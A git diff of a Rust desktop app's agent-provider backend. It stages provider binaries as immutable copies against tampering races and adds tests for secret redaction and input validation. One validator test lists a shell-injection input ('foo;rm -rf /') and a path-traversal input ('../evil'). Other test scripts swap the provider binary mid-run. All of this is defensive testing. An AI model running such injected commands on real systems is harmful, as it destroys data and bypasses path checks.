request.get("agent"); + let maps = [ + agent.and_then(|value| value.get("env_vars")), + agent + .and_then(|value| value.get("launch")) + .and_then(|value| value.get("env")), + agent + .and_then(|value| value.get("launch")) + .and_then(|value| value.get("policy_env")), + ]; + + maps.into_iter() + .flatten() + .filter_map(serde_json::Value::as_object) + .flat_map(|map| map.values()) + .filter_map(serde_json::Value::as_str) + .filter(|value| !value.is_empty()) + .map(String::from) + .collect() } /// Public-in-crate helper: redact every non-empty value from `env` (plus @@ -368,22 +430,102 @@ pub(crate) fn redact_env_values_in( redact_secrets_with(s, &values) } -/// Deploy an agent via provider binary. Returns the provider-assigned agent_id. -/// -/// `request_id` is included for provider-side logging/correlation but is not -/// validated in the response — the stdin→stdout exchange is 1:1 per process. +/// Copy a resolved provider into a private staging directory while hashing +/// exactly the bytes copied. The staged file becomes non-writable before either +/// invocation, closing the path replacement and in-place rewrite races. +fn stage_provider( + binary: &Path, +) -> Result<(tempfile::TempDir, PathBuf, String, std::fs::File), String> { + let directory = tempfile::Builder::new() + .prefix("buzz-provider-") + .tempdir() + .map_err(|error| format!("failed to create provider staging directory: {error}"))?; + let suffix = if cfg!(windows) { ".exe" } else { "" }; + let staged_path = directory.path().join(format!("provider{suffix}")); + let mut source = std::fs::File::open(binary) + .map_err(|error| format!("failed to open provider for staging: {error}"))?; + let mut staged = std::fs::OpenOptions::new() + .write(true) + .create_new(true) + .open(&staged_path) + .map_err(|error| format!("failed to create staged provider: {error}"))?; + let mut hasher = Sha256::new(); + let mut buffer = [0_u8; 64 * 1024]; + loop { + let count = source + .read(&mut buffer) + .map_err(|error| format!("failed to read provider for staging: {error}"))?; + if count == 0 { + break; + } + staged + .write_all(&buffer[..count]) + .map_err(|error| format!("failed to write staged provider: {error}"))?; + hasher.update(&buffer[..count]); + } + staged + .sync_all() + .map_err(|error| format!("failed to sync staged provider: {error}"))?; + + let mut permissions = staged + .metadata() + .map_err(|error| format!("failed to inspect staged provider: {error}"))? + .permissions(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + permissions.set_mode(0o500); + } + #[cfg(not(unix))] + permissions.set_readonly(true); + std::fs::set_permissions(&staged_path, permissions) + .map_err(|error| format!("failed to protect staged provider: {error}"))?; + drop(staged); + + #[cfg(windows)] + let execution_guard = { + use std::os::windows::fs::OpenOptionsExt; + std::fs::OpenOptions::new() + .read(true) + // Permit CreateProcess to read the image while denying replacement, + // writes, and deletion until both invocations finish. + .share_mode(windows_sys::Win32::Storage::FileSystem::FILE_SHARE_READ) + .open(&staged_path) + }; + #[cfg(not(windows))] + let execution_guard = std::fs::File::open(&staged_path); + let execution_guard = execution_guard + .map_err(|error| format!("failed to lock staged provider for execution: {error}"))?; + Ok(( + directory, + staged_path, + hex::encode(hasher.finalize()), + execution_guard, + )) +} + +/// Deploy through one immutable staged copy: negotiate protocol v1 before the +/// secret-bearing request, then invoke deploy on those exact same bytes. pub fn provider_deploy( binary: &Path, agent: &serde_json::Value, provider_config: &serde_json::Value, ) -> Result { + let (_directory, staged, _digest, _execution_guard) = stage_provider(binary)?; + let info_request = serde_json::json!({ + "op": "info", + "request_id": uuid::Uuid::new_v4().to_string(), + }); + let info = invoke_provider(&staged, &info_request, Duration::from_secs(10))?; + validate_provider_info(&info)?; + let request = serde_json::json!({ "op": "deploy", "request_id": uuid::Uuid::new_v4().to_string(), "agent": agent, "provider_config": provider_config, }); - let resp = invoke_provider(binary, &request, Duration::from_secs(600))?; + let resp = invoke_provider(&staged, &request, Duration::from_secs(600))?; resp["agent_id"] .as_str() .map(String::from) @@ -423,6 +565,24 @@ pub fn validate_provider_config(config: &serde_json::Value) -> Result<(), String Ok(()) } +/// Derive a provider id from the filename Tauri stages at runtime. Tauri +/// removes its target-triple suffix while copying an external binary, but on +/// Windows leaves the executable/script extension, which is not part of the +/// provider id. +fn provider_id_from_filename(name: &str) -> Option<&str> { + let raw = name.strip_prefix("buzz-backend-")?; + let id = [".exe", ".bat", ".cmd"] + .into_iter() + .find_map(|extension| { + raw.get(raw.len().saturating_sub(extension.len())..) + .filter(|suffix| suffix.eq_ignore_ascii_case(extension)) + .map(|_| &raw[..raw.len() - extension.len()]) + }) + .unwrap_or(raw); + + (!id.is_empty()).then_some(id) +} + /// Enumerate PATH for buzz-backend-* executables. Returns (id, path) pairs. /// Only includes files that are executable. Does NOT execute any binaries. /// @@ -464,10 +624,12 @@ pub fn discover_provider_candidates() -> Vec<(String, PathBuf)> { }; for entry in entries.flatten() { let name = entry.file_name().to_string_lossy().to_string(); - if let Some(id) = name.strip_prefix(prefix) { - if !id.is_empty() && !seen.contains(&name) && is_executable(&entry.path()) { - seen.insert(name.clone()); - results.push((id.to_string(), entry.path())); + if name.starts_with(prefix) { + if let Some(id) = provider_id_from_filename(&name) { + if !seen.contains(&name) && is_executable(&entry.path()) { + seen.insert(name.clone()); + results.push((id.to_string(), entry.path())); + } } } } @@ -538,203 +700,5 @@ pub struct BackendProviderInfo { } #[cfg(test)] -mod tests { - use super::*; - - #[test] - fn redact_secrets_replaces_nsec() { - let s = "key=nsec1abc123def456 other"; - let r = redact_secrets(s); - assert!(r.contains("[REDACTED]")); - assert!(!r.contains("nsec1abc123def456")); - } - - #[test] - fn redact_secrets_replaces_token() { - let s = r#"{"token":"sprt_tok_xyz789"}"#; - let r = redact_secrets(s); - assert!(r.contains("[REDACTED]")); - assert!(!r.contains("sprt_tok_xyz789")); - } - - #[test] - fn redact_secrets_with_extras_scrubs_user_env_values() { - // If a provider echoes back a user-supplied API key in its error - // output, the desktop must not surface that secret unredacted via - // `last_error`. We scrub the literal values that came from the - // request's `agent.env_vars`. - let secret = "sk-ant-api03-abc123def456"; - let stderr = format!("auth failed with key {secret} on host api.anthropic.com"); - let r = redact_secrets_with(&stderr, &[secret]); - assert!(r.contains("[REDACTED]")); - assert!(!r.contains(secret)); - } - - #[test] - fn redact_secrets_with_extras_skips_short_values() { - // Don't scrub values shorter than 4 chars — too noisy. - let r = redact_secrets_with("error code: 42", &["42"]); - assert!(r.contains("42")); - } - - /// GitHub tokens are recognised by shape, so one that never passed through - /// our environment — embedded in a remote URL an installer echoes — is - /// still scrubbed. The scan runs to the next whitespace or quote, so the - /// rest of the URL goes with it; over-redaction is the safe direction. - #[test] - fn redact_secrets_with_scrubs_github_token_prefixes() { - for token in [ - "ghp_abcdefghij0123456789", - "gho_abcdefghij0123456789", - "ghu_abcdefghij0123456789", - "ghs_abcdefghij0123456789", - "ghr_abcdefghij0123456789", - "github_pat_abcdefghij0123456789", - ] { - let r = - redact_secrets_with(&format!("cloning https://{token}@github.com/o/r now"), &[]); - assert!(!r.contains(token), "leaked {token}: {r}"); - assert!(r.contains("[REDACTED]"), "got: {r}"); - assert!(r.contains("cloning"), "scan must stop at whitespace: {r}"); - assert!(r.ends_with(" now"), "scan must stop at whitespace: {r}"); - } - } - - #[test] - fn redact_secrets_with_extras_terminates_when_value_substring_of_marker() { - // Regression: an earlier impl used `while let Some(pos) = find(value)` - // which never terminates if the user's env value is a substring of - // the replacement marker `[REDACTED]` — each replacement - // reintroduces the same text. Now uses `str::replace` (single-pass). - for value in ["REDACTED", "EDACTE", "REDA", "ACTED"] { - let r = redact_secrets_with(&format!("leak={value}"), &[value]); - assert!(r.contains("[REDACTED]")); - } - } - - #[test] - fn redact_secrets_with_extras_handles_overlapping_secrets() { - // Longer entries get scrubbed first so the substring "abc12" isn't - // matched before "abc123" is consumed. - let s = "key1=abc123 key2=abc12"; - let r = redact_secrets_with(s, &["abc12", "abc123"]); - assert!(!r.contains("abc123")); - assert!(!r.contains("abc12 ")); - } - - #[test] - fn env_secrets_from_request_extracts_string_values() { - let req = serde_json::json!({ - "op": "deploy", - "agent": { - "env_vars": { - "ANTHROPIC_API_KEY": "sk-ant-test", - "EMPTY": "", - "NUMERIC": 42, - }, - }, - }); - let secrets = env_secrets_from_request(&req); - assert!(secrets.iter().any(|v| v == "sk-ant-test")); - // Empty and non-string values are filtered out. - assert_eq!(secrets.len(), 1); - } - - #[test] - fn env_secrets_from_request_handles_missing_shape() { - assert!(env_secrets_from_request(&serde_json::json!({})).is_empty()); - assert!(env_secrets_from_request(&serde_json::json!({"agent": {}})).is_empty()); - assert!( - env_secrets_from_request(&serde_json::json!({"agent": {"env_vars": null}})).is_empty() - ); - } - - #[test] - fn redact_env_values_in_scrubs_map_values() { - let mut env = std::collections::BTreeMap::new(); - env.insert("ANTHROPIC_API_KEY".to_string(), "sk-ant-real".to_string()); - env.insert("EMPTY".to_string(), String::new()); - let stderr = "auth=sk-ant-real failed; other context"; - let r = redact_env_values_in(stderr, &env); - assert!(!r.contains("sk-ant-real")); - assert!(r.contains("[REDACTED]")); - } - - #[test] - fn validate_provider_config_rejects_secret_key() { - let cfg = serde_json::json!({"api_key": "val"}); - assert!(validate_provider_config(&cfg).is_err()); - } - - #[test] - fn validate_provider_config_rejects_nested() { - let cfg = serde_json::json!({"region": {"us": "east"}}); - assert!(validate_provider_config(&cfg).is_err()); - } - - #[test] - fn validate_provider_config_accepts_scalars() { - let cfg = serde_json::json!({"region": "us-east-1", "tier": "standard"}); - assert!(validate_provider_config(&cfg).is_ok()); - } - - #[test] - fn validate_provider_config_allows_key_as_substring() { - // "keyboard", "monkey" contain "key" as substring but not as a word segment. - let cfg = serde_json::json!({"keyboard_layout": "us", "monkey_wrench": "tight"}); - assert!(validate_provider_config(&cfg).is_ok()); - } - - #[test] - fn validate_provider_config_rejects_camel_case_secrets() { - assert!(validate_provider_config(&serde_json::json!({"apiKey": "val"})).is_err()); - assert!(validate_provider_config(&serde_json::json!({"accessToken": "val"})).is_err()); - assert!(validate_provider_config(&serde_json::json!({"clientSecret": "val"})).is_err()); - // ALL-CAPS variants - assert!(validate_provider_config(&serde_json::json!({"apiKEY": "val"})).is_err()); - assert!(validate_provider_config(&serde_json::json!({"accessTOKEN": "val"})).is_err()); - } - - #[test] - fn split_config_key_handles_all_styles() { - assert_eq!(split_config_key("apiKey"), vec!["api", "key"]); - assert_eq!(split_config_key("access_token"), vec!["access", "token"]); - assert_eq!(split_config_key("keyboard"), vec!["keyboard"]); - assert_eq!(split_config_key("client-secret"), vec!["client", "secret"]); - // Acronym runs stay together - assert_eq!(split_config_key("APIKey"), vec!["api", "key"]); - assert_eq!(split_config_key("apiKEY"), vec!["api", "key"]); - assert_eq!(split_config_key("accessTOKEN"), vec!["access", "token"]); - assert_eq!(split_config_key("MyAPIKey"), vec!["my", "api", "key"]); - } - - #[test] - fn resolve_provider_binary_rejects_invalid_ids() { - // Path traversal - assert!(resolve_provider_binary("../evil").is_err()); - // Empty - assert!(resolve_provider_binary("").is_err()); - // Uppercase - assert!(resolve_provider_binary("MyProvider").is_err()); - // Spaces - assert!(resolve_provider_binary("my provider").is_err()); - // Shell metacharacters - assert!(resolve_provider_binary("foo;rm -rf /").is_err()); - // Valid format but not on PATH — should fail with "not found" - assert!(resolve_provider_binary("nonexistent-test-id-12345").is_err()); - } - - #[test] - fn resolve_provider_binary_accepts_valid_id_format() { - // Valid ID format should pass validation. If the binary happens to - // exist on PATH, Ok is returned; otherwise Err contains "not found" - // (not "invalid provider ID"). Either outcome proves validation passed. - match resolve_provider_binary("zzz-nonexistent-test-provider") { - Ok(_) => {} // unlikely but fine — binary exists - Err(e) => assert!( - e.contains("not found"), - "expected 'not found' error, got: {e}" - ), - } - } -} +#[path = "backend_tests.rs"] +mod tests; diff --git a/desktop/src-tauri/src/managed_agents/backend_tests.rs b/desktop/src-tauri/src/managed_agents/backend_tests.rs new file mode 100644 index 0000000000..ce1f81466f --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/backend_tests.rs @@ -0,0 +1,452 @@ +use super::*; + +#[test] +fn redact_secrets_replaces_nsec() { + let s = "key=nsec1abc123def456 other"; + let r = redact_secrets(s); + assert!(r.contains("[REDACTED]")); + assert!(!r.contains("nsec1abc123def456")); +} + +#[test] +fn redact_secrets_replaces_token() { + let s = r#"{"token":"sprt_tok_xyz789"}"#; + let r = redact_secrets(s); + assert!(r.contains("[REDACTED]")); + assert!(!r.contains("sprt_tok_xyz789")); +} + +#[test] +fn redact_secrets_with_extras_scrubs_user_env_values() { + // If a provider echoes back a user-supplied API key in its error + // output, the desktop must not surface that secret unredacted via + // `last_error`. We scrub the literal values that came from the + // request's `agent.env_vars`. + let secret = "sk-ant-api03-abc123def456"; + let stderr = format!("auth failed with key {secret} on host api.anthropic.com"); + let r = redact_secrets_with(&stderr, &[secret]); + assert!(r.contains("[REDACTED]")); + assert!(!r.contains(secret)); +} + +#[test] +fn redact_secrets_with_extras_skips_short_values() { + // Don't scrub values shorter than 4 chars — too noisy. + let r = redact_secrets_with("error code: 42", &["42"]); + assert!(r.contains("42")); +} + +/// GitHub tokens are recognised by shape, so one that never passed through +/// our environment — embedded in a remote URL an installer echoes — is +/// still scrubbed. The scan runs to the next whitespace or quote, so the +/// rest of the URL goes with it; over-redaction is the safe direction. +#[test] +fn redact_secrets_with_scrubs_github_token_prefixes() { + for token in [ + "ghp_abcdefghij0123456789", + "gho_abcdefghij0123456789", + "ghu_abcdefghij0123456789", + "ghs_abcdefghij0123456789", + "ghr_abcdefghij0123456789", + "github_pat_abcdefghij0123456789", + ] { + let r = redact_secrets_with(&format!("cloning https://{token}@github.com/o/r now"), &[]); + assert!(!r.contains(token), "leaked {token}: {r}"); + assert!(r.contains("[REDACTED]"), "got: {r}"); + assert!(r.contains("cloning"), "scan must stop at whitespace: {r}"); + assert!(r.ends_with(" now"), "scan must stop at whitespace: {r}"); + } +} + +#[test] +fn redact_secrets_with_extras_terminates_when_value_substring_of_marker() { + // Regression: an earlier impl used `while let Some(pos) = find(value)` + // which never terminates if the user's env value is a substring of + // the replacement marker `[REDACTED]` — each replacement + // reintroduces the same text. Now uses `str::replace` (single-pass). + for value in ["REDACTED", "EDACTE", "REDA", "ACTED"] { + let r = redact_secrets_with(&format!("leak={value}"), &[value]); + assert!(r.contains("[REDACTED]")); + } +} + +#[test] +fn redact_secrets_with_extras_handles_overlapping_secrets() { + // Longer entries get scrubbed first so the substring "abc12" isn't + // matched before "abc123" is consumed. + let s = "key1=abc123 key2=abc12"; + let r = redact_secrets_with(s, &["abc12", "abc123"]); + assert!(!r.contains("abc123")); + assert!(!r.contains("abc12 ")); +} + +#[test] +fn env_secrets_from_request_extracts_string_values() { + let req = serde_json::json!({ + "op": "deploy", + "agent": { + "env_vars": { + "ANTHROPIC_API_KEY": "sk-ant-test", + "EMPTY": "", + "NUMERIC": 42, + }, + }, + }); + let secrets = env_secrets_from_request(&req); + assert!(secrets.iter().any(|v| v == "sk-ant-test")); + // Empty and non-string values are filtered out. + assert_eq!(secrets.len(), 1); +} + +#[test] +fn env_secrets_from_request_handles_missing_shape() { + assert!(env_secrets_from_request(&serde_json::json!({})).is_empty()); + assert!(env_secrets_from_request(&serde_json::json!({"agent": {}})).is_empty()); + assert!(env_secrets_from_request(&serde_json::json!({"agent": {"env_vars": null}})).is_empty()); +} + +#[test] +fn redact_env_values_in_scrubs_map_values() { + let mut env = std::collections::BTreeMap::new(); + env.insert("ANTHROPIC_API_KEY".to_string(), "sk-ant-real".to_string()); + env.insert("EMPTY".to_string(), String::new()); + let stderr = "auth=sk-ant-real failed; other context"; + let r = redact_env_values_in(stderr, &env); + assert!(!r.contains("sk-ant-real")); + assert!(r.contains("[REDACTED]")); +} + +#[test] +fn env_secrets_from_request_includes_resolved_launch_maps() { + let req = serde_json::json!({ + "agent": { + "env_vars": {"LEGACY": "legacy-secret"}, + "launch": { + "env": {"PERSONA": "persona-secret"}, + "policy_env": {"POLICY": "policy-secret"} + } + } + }); + let secrets = env_secrets_from_request(&req); + assert_eq!(secrets.len(), 3); + for secret in ["legacy-secret", "persona-secret", "policy-secret"] { + assert!(secrets.iter().any(|candidate| candidate == secret)); + } +} + +#[cfg(unix)] +fn write_test_provider(path: &Path, body: &str) { + use std::os::unix::fs::PermissionsExt; + std::fs::write(path, format!("#!/bin/sh\nset -eu\n{body}\n")).unwrap(); + std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o700)).unwrap(); +} + +#[cfg(unix)] +#[test] +fn provider_deploy_negotiates_and_deploys_the_same_staged_bytes() { + let directory = tempfile::tempdir().unwrap(); + let provider = directory.path().join("provider"); + let log = directory.path().join("invocations"); + let body = format!( + r#"read request +printf '%s\n' "$0" >> '{}' +case "$request" in + *\"op\":\"info\"*) printf '%s\n' '{{"ok":true,"name":"test","version":"1.0.0","protocol_version":1,"description":"test provider","config_schema":{{}}}}' ;; + *\"op\":\"deploy\"*) printf '%s\n' '{{"ok":true,"agent_id":"remote-1"}}' ;; +esac"#, + log.display() + ); + write_test_provider(&provider, &body); + + let id = provider_deploy(&provider, &serde_json::json!({}), &serde_json::json!({})) + .expect("staged deploy"); + assert_eq!(id, "remote-1"); + let paths: Vec<_> = std::fs::read_to_string(log) + .unwrap() + .lines() + .map(str::to_owned) + .collect(); + assert_eq!(paths.len(), 2); + assert_eq!(paths[0], paths[1]); + assert_ne!(Path::new(&paths[0]), provider); + assert!( + !Path::new(&paths[0]).exists(), + "staging directory must be deleted" + ); +} + +#[cfg(unix)] +fn replacement_provider() -> &'static str { + r#"#!/bin/sh +set -eu +read request +case "$request" in + *\"op\":\"info\"*) printf '%s\n' '{"ok":true,"name":"replacement","version":"9.9.9","protocol_version":1,"description":"replacement provider","config_schema":{}}' ;; + *\"op\":\"deploy\"*) printf '%s\n' '{"ok":true,"agent_id":"replacement-bytes-ran"}' ;; +esac +"# +} + +#[cfg(unix)] +#[test] +fn provider_deploy_uses_staged_bytes_after_same_inode_source_rewrite() { + use std::os::unix::fs::MetadataExt; + + let directory = tempfile::tempdir().unwrap(); + let provider = directory.path().join("provider"); + let replacement = directory.path().join("replacement"); + std::fs::write(&replacement, replacement_provider()).unwrap(); + let body = format!( + r#"read request +case "$request" in + *\"op\":\"info\"*) + cat '{}' > '{}' + chmod 700 '{}' + printf '%s\n' '{{"ok":true,"name":"original","version":"1.0.0","protocol_version":1,"description":"original provider","config_schema":{{}}}}' + ;; + *\"op\":\"deploy\"*) printf '%s\n' '{{"ok":true,"agent_id":"original-staged-bytes"}}' ;; +esac"#, + replacement.display(), + provider.display(), + provider.display(), + ); + write_test_provider(&provider, &body); + let inode_before = std::fs::metadata(&provider).unwrap().ino(); + + let id = provider_deploy(&provider, &serde_json::json!({}), &serde_json::json!({})) + .expect("deploy from immutable staged copy"); + + assert_eq!(id, "original-staged-bytes"); + assert_eq!( + std::fs::metadata(&provider).unwrap().ino(), + inode_before, + "test must rewrite the source binary in place" + ); + assert_eq!( + std::fs::read_to_string(&provider).unwrap(), + replacement_provider(), + "source pathname must contain replacement bytes before deploy" + ); +} + +#[cfg(unix)] +#[test] +fn provider_deploy_uses_staged_bytes_after_source_pathname_replacement() { + use std::os::unix::fs::{MetadataExt, PermissionsExt}; + + let directory = tempfile::tempdir().unwrap(); + let provider = directory.path().join("provider"); + let replacement = directory.path().join("replacement"); + std::fs::write(&replacement, replacement_provider()).unwrap(); + std::fs::set_permissions(&replacement, std::fs::Permissions::from_mode(0o700)).unwrap(); + let body = format!( + r#"read request +case "$request" in + *\"op\":\"info\"*) + mv '{}' '{}' + printf '%s\n' '{{"ok":true,"name":"original","version":"1.0.0","protocol_version":1,"description":"original provider","config_schema":{{}}}}' + ;; + *\"op\":\"deploy\"*) printf '%s\n' '{{"ok":true,"agent_id":"original-staged-bytes"}}' ;; +esac"#, + replacement.display(), + provider.display(), + ); + write_test_provider(&provider, &body); + let inode_before = std::fs::metadata(&provider).unwrap().ino(); + + let id = provider_deploy(&provider, &serde_json::json!({}), &serde_json::json!({})) + .expect("deploy from immutable staged copy"); + + assert_eq!(id, "original-staged-bytes"); + assert_ne!( + std::fs::metadata(&provider).unwrap().ino(), + inode_before, + "test must replace the source pathname with a different inode" + ); + assert_eq!( + std::fs::read_to_string(&provider).unwrap(), + replacement_provider(), + "source pathname must contain replacement bytes before deploy" + ); +} + +#[cfg(unix)] +#[test] +fn provider_deploy_refuses_mismatch_before_sending_agent_secret() { + let directory = tempfile::tempdir().unwrap(); + let provider = directory.path().join("provider"); + let marker = directory.path().join("deploy-received"); + let body = format!( + r#"read request +case "$request" in + *\"op\":\"info\"*) printf '%s\n' '{{"ok":true,"name":"test","version":"2.0.0","protocol_version":2,"description":"test provider","config_schema":{{}}}}' ;; + *\"op\":\"deploy\"*) touch '{}'; printf '%s\n' '{{"ok":true,"agent_id":"bad"}}' ;; +esac"#, + marker.display() + ); + write_test_provider(&provider, &body); + + let error = provider_deploy( + &provider, + &serde_json::json!({"private_key_nsec": "nsec1must-not-cross"}), + &serde_json::json!({}), + ) + .unwrap_err(); + assert!(error.contains("protocol version 2"), "{error}"); + assert!(!marker.exists()); + assert!(!error.contains("nsec1must-not-cross")); +} + +#[cfg(unix)] +#[test] +fn provider_deploy_requires_an_explicit_integer_protocol_version() { + let directory = tempfile::tempdir().unwrap(); + let provider = directory.path().join("provider"); + write_test_provider( + &provider, + r#"read request +printf '%s\n' '{"ok":true,"version":"1.0.0"}'"#, + ); + + let error = + provider_deploy(&provider, &serde_json::json!({}), &serde_json::json!({})).unwrap_err(); + assert!( + error.contains("missing integer protocol_version"), + "{error}" + ); +} + +#[test] +fn provider_info_requires_the_complete_flat_wire_shape() { + let complete = serde_json::json!({ + "ok": true, + "name": "kubernetes", + "version": "1.0.0", + "protocol_version": 1, + "description": "Kubernetes provider", + "config_schema": {} + }); + assert!(validate_provider_info(&complete).is_ok()); + + let mut missing = complete.clone(); + missing.as_object_mut().unwrap().remove("config_schema"); + assert!(validate_provider_info(&missing) + .unwrap_err() + .contains("config_schema")); + + let mut nested = complete; + nested.as_object_mut().unwrap().insert( + "provider".into(), + serde_json::json!({"protocol_version": 1}), + ); + assert!(validate_provider_info(&nested) + .unwrap_err() + .contains("unknown field provider")); +} + +#[test] +fn validate_provider_config_rejects_secret_key() { + let cfg = serde_json::json!({"api_key": "val"}); + assert!(validate_provider_config(&cfg).is_err()); +} + +#[test] +fn validate_provider_config_rejects_nested() { + let cfg = serde_json::json!({"region": {"us": "east"}}); + assert!(validate_provider_config(&cfg).is_err()); +} + +#[test] +fn validate_provider_config_accepts_scalars() { + let cfg = serde_json::json!({"region": "us-east-1", "tier": "standard"}); + assert!(validate_provider_config(&cfg).is_ok()); +} + +#[test] +fn validate_provider_config_allows_key_as_substring() { + // "keyboard", "monkey" contain "key" as substring but not as a word segment. + let cfg = serde_json::json!({"keyboard_layout": "us", "monkey_wrench": "tight"}); + assert!(validate_provider_config(&cfg).is_ok()); +} + +#[test] +fn validate_provider_config_rejects_camel_case_secrets() { + assert!(validate_provider_config(&serde_json::json!({"apiKey": "val"})).is_err()); + assert!(validate_provider_config(&serde_json::json!({"accessToken": "val"})).is_err()); + assert!(validate_provider_config(&serde_json::json!({"clientSecret": "val"})).is_err()); + // ALL-CAPS variants + assert!(validate_provider_config(&serde_json::json!({"apiKEY": "val"})).is_err()); + assert!(validate_provider_config(&serde_json::json!({"accessTOKEN": "val"})).is_err()); +} + +#[test] +fn split_config_key_handles_all_styles() { + assert_eq!(split_config_key("apiKey"), vec!["api", "key"]); + assert_eq!(split_config_key("access_token"), vec!["access", "token"]); + assert_eq!(split_config_key("keyboard"), vec!["keyboard"]); + assert_eq!(split_config_key("client-secret"), vec!["client", "secret"]); + // Acronym runs stay together + assert_eq!(split_config_key("APIKey"), vec!["api", "key"]); + assert_eq!(split_config_key("apiKEY"), vec!["api", "key"]); + assert_eq!(split_config_key("accessTOKEN"), vec!["access", "token"]); + assert_eq!(split_config_key("MyAPIKey"), vec!["my", "api", "key"]); +} + +#[test] +fn provider_filename_strips_the_windows_extension() { + assert_eq!( + provider_id_from_filename("buzz-backend-kubernetes"), + Some("kubernetes") + ); + assert_eq!( + provider_id_from_filename("buzz-backend-kubernetes.exe"), + Some("kubernetes") + ); + assert_eq!( + provider_id_from_filename("buzz-backend-kubernetes.EXE"), + Some("kubernetes") + ); + assert_eq!( + provider_id_from_filename("buzz-backend-kubernetes.bat"), + Some("kubernetes") + ); + assert_eq!( + provider_id_from_filename("buzz-backend-kubernetes.CMD"), + Some("kubernetes") + ); + assert_eq!( + provider_id_from_filename("buzz-backend-my-provider"), + Some("my-provider") + ); + assert_eq!(provider_id_from_filename("other"), None); +} + +#[test] +fn resolve_provider_binary_rejects_invalid_ids() { + // Path traversal + assert!(resolve_provider_binary("../evil").is_err()); + // Empty + assert!(resolve_provider_binary("").is_err()); + // Uppercase + assert!(resolve_provider_binary("MyProvider").is_err()); + // Spaces + assert!(resolve_provider_binary("my provider").is_err()); + // Shell metacharacters + assert!(resolve_provider_binary("foo;rm -rf /").is_err()); + // Valid format but not on PATH — should fail with "not found" + assert!(resolve_provider_binary("nonexistent-test-id-12345").is_err()); +} + +#[test] +fn resolve_provider_binary_accepts_valid_id_format() { + // Valid ID format should pass validation. If the binary happens to + // exist on PATH, Ok is returned; otherwise Err contains "not found" + // (not "invalid provider ID"). Either outcome proves validation passed. + match resolve_provider_binary("zzz-nonexistent-test-provider") { + Ok(_) => {} // unlikely but fine — binary exists + Err(e) => assert!( + e.contains("not found"), + "expected 'not found' error, got: {e}" + ), + } +} diff --git a/desktop/src-tauri/src/managed_agents/config_bridge/reader.rs b/desktop/src-tauri/src/managed_agents/config_bridge/reader.rs index 372d2cfde1..c51f325cf3 100644 --- a/desktop/src-tauri/src/managed_agents/config_bridge/reader.rs +++ b/desktop/src-tauri/src/managed_agents/config_bridge/reader.rs @@ -3,15 +3,17 @@ use crate::managed_agents::types::ManagedAgentRecord; use super::types::*; -/// Build the full config surface for an agent, merging all four tiers. +/// Build the full config surface for an agent, merging all tiers. /// -/// Pre-spawn (no session cache): tiers 2a (env vars / record) and 2b (config files). -/// Post-spawn (session cache present): adds tiers 1a (ACP native) and 1b (ACP configOptions). +/// Inherited values flow through `tiers` — a sanitized snapshot of the +/// persona and global tiers assembled at the command boundary. Each field +/// builder constructs its own candidate list and resolves via +/// `resolve_with_override`. pub(crate) fn read_config_surface( record: &ManagedAgentRecord, runtime_meta: Option<&KnownAcpRuntime>, session_cache: Option<&SessionConfigCache>, - baseline: Option<(&str, ConfigOrigin)>, + tiers: &InheritedConfigTiers, ) -> RuntimeConfigSurface { let is_pre_spawn = session_cache.is_none(); @@ -27,14 +29,7 @@ pub(crate) fn read_config_surface( }) .unwrap_or_else(|| (RuntimeFileConfig::default(), false)); - // Tier 2a: record-level values (Buzz-explicit). - let record_model = record.model.clone(); - let record_provider = record - .env_vars - .get(runtime_meta.and_then(|m| m.provider_env_var).unwrap_or("")) - .cloned() - .or_else(|| record.provider.clone()); // structured provider field as fallback - + // Runtime-specific env var keys. let supports_acp_model = runtime_meta.is_some_and(|m| m.supports_acp_model_switching); let model_env_var = runtime_meta.and_then(|m| m.model_env_var); let provider_env_var = runtime_meta.and_then(|m| m.provider_env_var); @@ -48,10 +43,6 @@ pub(crate) fn read_config_surface( let context_limit_env_var = runtime_meta.and_then(|m| m.context_limit_env_var); // Tier 1b: ACP configOptions from session cache. - // For unstable/switchable agents, current_model comes from the `models` - // field. For stable agents that only report model via configOptions - // (category="model", current_value), fall back to find_config_option_value - // so their current model is surfaced in the panel. let acp_model = session_cache.and_then(|c| { c.current_model .clone() @@ -59,61 +50,53 @@ pub(crate) fn read_config_surface( }); let acp_mode = session_cache.and_then(|c| find_config_option_value(c, "mode")); let acp_effort = session_cache.and_then(|c| find_config_option_value(c, "effort")); - let record_effort = thinking_env_var - .and_then(|k| record.env_vars.get(k)) - .cloned(); let model_overridden = session_cache.is_some_and(|c| c.model_overridden); let normalized = NormalizedConfig { - model: Some(apply_runtime_override( - build_model_field( - &record_model, - &file_config.model, - &acp_model, - model_env_var, - supports_acp_model, - is_pre_spawn, - session_cache, - required_fields.contains(&"model"), - ), - acp_model.as_deref(), - baseline, + model: Some(build_model_field( + record, + &file_config.model, + &acp_model, + model_env_var, + supports_acp_model, + is_pre_spawn, + session_cache, + required_fields.contains(&"model"), model_overridden, + tiers, )), provider: build_provider_field( - &record_provider, + record, &file_config.provider, provider_env_var, provider_locked, required_fields.contains(&"provider"), + tiers, ), mode: build_mode_field(&file_config.mode, &acp_mode, is_pre_spawn, session_cache), thinking_effort: build_thinking_field( - &record_effort, + record, &file_config.thinking_effort, &acp_effort, thinking_env_var, is_pre_spawn, session_cache, + tiers, ), max_output_tokens: build_numeric_env_field( max_tokens_env_var, - &record.env_vars, + record, &file_config.max_output_tokens, + tiers, ), context_limit: build_numeric_env_field( context_limit_env_var, - &record.env_vars, + record, &file_config.context_limit, + tiers, ), - system_prompt: build_system_prompt_field( - &record - .system_prompt - .clone() - .or_else(|| record.env_vars.get("BUZZ_ACP_SYSTEM_PROMPT").cloned()), - &file_config.system_prompt, - ), + system_prompt: build_system_prompt_field(record, &file_config.system_prompt, tiers), }; // Advanced fields from config file extras. @@ -130,7 +113,7 @@ pub(crate) fn read_config_surface( }) .collect(); - // Collect the env var keys already covered by normalized fields so we don't double-surface them. + // Collect the env var keys already covered by normalized fields. let normalized_env_keys: Vec<&str> = [ model_env_var, provider_env_var, @@ -144,15 +127,13 @@ pub(crate) fn read_config_surface( .collect(); // Tier 2a: remaining env vars not covered by normalized fields. - // Env var wins over config file for the same key (tier 2a > 2b), so skip - // keys already present in file_config.extra. let mut advanced = advanced; for (k, v) in &record.env_vars { if normalized_env_keys.contains(&k.as_str()) { continue; } if file_config.extra.contains_key(k) { - continue; // config file already surfaced this key + continue; } advanced.push(ConfigField { key: k.clone(), @@ -178,8 +159,6 @@ pub(crate) fn read_config_surface( { ConfigTierStatus::Available } else { - // Post-spawn without native config data is also Pending — it arrives - // asynchronously after the session/new response. 